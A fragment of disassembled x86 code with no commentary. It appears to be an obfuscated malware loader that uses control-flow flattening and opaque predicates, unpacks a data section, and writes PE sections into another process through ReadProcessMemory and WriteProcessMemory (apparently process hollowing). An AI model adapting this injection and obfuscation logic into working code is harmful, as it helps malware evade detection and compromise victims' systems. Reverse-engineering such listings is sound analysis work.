sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfc1f11f
mov ecx, 0xe8dafd78
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10005291
mov dword [ebp - 0x158], 0x89939c9c
jmp 0x10005291
mov eax, dword [0x10065b38]
mov ecx, dword [0x10065b34]
mov edx, eax
sub edx, 0x5c4e0c2
sub edx, 1
add edx, 0x5c4e0c2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x63743556
mov ecx, 0x80f918ed
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10005291
mov ecx, dword [ebp - 0x70]
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov edx, dword [eax + 4]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x128]
mov dword [eax], ecx
mov eax, dword [0x10065b38]
mov ecx, dword [0x10065b34]
mov edx, eax
add edx, 0xa20413fa
sub edx, 1
sub edx, 0xa20413fa
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x63743556
mov ecx, 0x5013e3b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10005291
mov eax, dword [ebp - 0x150]
add eax, 0x18
add eax, 0x1c
mov ecx, dword [ebp - 0x14c]
mov ecx, dword [ecx + 0xa4]
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, 8
add edx, ecx
xor ecx, ecx
sub ecx, edx
mov edx, dword [ebp - 0x24]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x140]
mov ecx, dword [eax]
add ecx, 0xf3248e93
add ecx, 8
sub ecx, 0xf3248e93
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x13c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x158], 0x6fe770ee
jmp 0x10005291
mov dword [ebp - 0x158], 0x5e769785
jmp 0x10005291
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4b800
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x158], 0xd5609ab8
jmp 0x10005291
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x158], 0x6e282bb7
jmp 0x10005291
mov eax, dword [ebp - 0x24]
sub esp, 4
mov dword [esp], eax
call fcn.10002200
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x140]
mov dword [eax], ecx
mov eax, dword [ebp - 0x150]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0x138]
mov dword [eax], ecx
mov dword [ebp - 0x158], 0x8fd98314
jmp 0x10005291
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x124]
mov dword [eax], ecx
mov eax, dword [ebp - 0x120]
mov dword [eax], 0
mov dword [ebp - 0x158], 0xc871f067
jmp 0x10005291
mov eax, dword [ebp - 0xc8]
mov esi, dword [eax]
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0xd0]
mov edx, dword [ebp - 0xcc]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x124]
mov eax, dword [ebp - 0x130]
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x158], 0x3d0e8aa3
jmp 0x10005291
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x158], 0x4b901c3f
jmp 0x10005291
mov dword [ebp - 0x158], 0x84733dd4
jmp 0x10005291
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x120]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0xb0]
add ecx, eax
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov edx, dword [ebp - 0x130]
mov edx, dword [edx]
mov esi, dword [ebp - 0x120]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0xc]
xor edx, edx
sub edx, esi
add eax, edx
add ecx, eax
mov eax, dword [ebp - 0x128]
mov dword [eax], ecx
mov dword [ebp - 0x158], 0x808a2919
jmp 0x10005291
mov dword [ebp - 0x158], 0x1f05c242
jmp 0x10005291
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x158], 0xb7bb2eaf
jmp 0x10005291
mov dword [ebp - 0x158], 0x3f0cb892
jmp 0x10005291
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x158], 0x57c1bdc8
jmp 0x10005291
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x158], 0xbe51308e
jmp 0x10005291
mov eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x78]
mov edx, dword [ebp - 0x74]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x158], 0x432101cd
jmp 0x10005291
mov dword [ebp - 0x158], 0x46b11211
jmp 0x10005291
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov dword [ebp - 0x158], 0x4431c89f
jmp 0x10005291
jmp 0x10002420